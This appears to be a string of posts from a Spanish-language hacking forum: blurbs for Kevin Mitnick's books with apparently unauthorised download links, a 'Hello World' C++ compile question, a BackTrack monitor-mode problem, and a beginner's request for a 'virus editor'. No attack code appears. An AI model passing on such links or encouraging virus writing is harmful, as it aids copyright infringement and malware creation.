Dos adolescentes que fueron persuadidos por los terroristas para introducirse en los sistemas de Lockheed Martin ordenador
Dos convictos que unieron sus fuerzas para convertirse en hackers dentro de una prisión de Texas
Un "Robin Hood" hacker que ha penetrado los sistemas informáticos de muchas empresas importantes-andthen les dijo cómo obtuvo acceso
Con fascinante "que hay" descripciones de equipo real robos, tips indispensables sobre los profesionales de las contramedidas de seguridad necesario para poner en práctica ahora, y el propio comentario mordaz Mitnick en los crímenes que él describe, este libro está seguro de llegar a un público y amplio atraer a los atención tanto de los organismos policiales y los medios de comunicación.

Link:-http://www.4shared.com/file/23110803/43116582/The_Art_of_Deception.html
#22
Descripcion por parte del Autor:

-El arte de la intrusión ha sido incluso más dificil de escribir que nuestro último libro. En lugar de utilizar nuestros talentos creativos combinados para desarrollar historias y anécdotas que ilustren los peligros de la ingeniería social y qué pueden hacer las empresas para mitigar los riesgos, Bill Simon y yo hemos trabajado principalmente sobre las entrevistas de ex hackers, phreakers y hackers convertidos a profesionales de la seguridad. Queríamos escribir un libro que fuera a un mismo tiempo una novela de misterio y un manual que abra los ojos a las empresas y les ayude a proteger su información confidencial y sus recursos informáticos. Creemos firmemente que sacando a la luz las metodologías y las técnicas más comunes que utilizan los hackers para penetrar en sistemas y redes, podemos ejercer influencia en todo el ámbito para abordar correctamente los riesgos y las amenazas que suponen estos adversarios audaces.

Aquí para descargarlo:

-http://www.intercambiosvirtuales.org/libros-manuales/el-arte-de-la-intrusin-como-ser-un
#23
Hola,me gustaria proponer que en el Hacker.net se hiciera algun canal de TeamSpeak 3 o Skype para que el que tenga dudas o necesite ayuda podamos hablar y ayudar.Grax.
#24
Programación C/C++ / Error en la linea¡¡
8 Enero 2012, 20:26 PM
Hola a todos,miren estaba empezando con el tema de la programación y estaba con uno de los primeros ejercicios el "Hola Mundo" utilizo el Microsoft Visual C++ cuando le día compilar y ejecutar me dio error.Este es el código.



#include <iostream>

int main()
{
std::cout << "Hello World!\n";
return 0;
}
#25
Hola,tengo un problema, tengo el Bactrack en un USB lo pongo en modo monitor pero no lo reconoce, agradecería ayuda.Gracias.
#26
Hola,llevo tiempo practicando esto del hacking y me he topado con lo de creación de virus y he visto que necesito un editor de virus,me podríais recomendar uno para empezar, que no sea el Bloc De Notas.Gracias.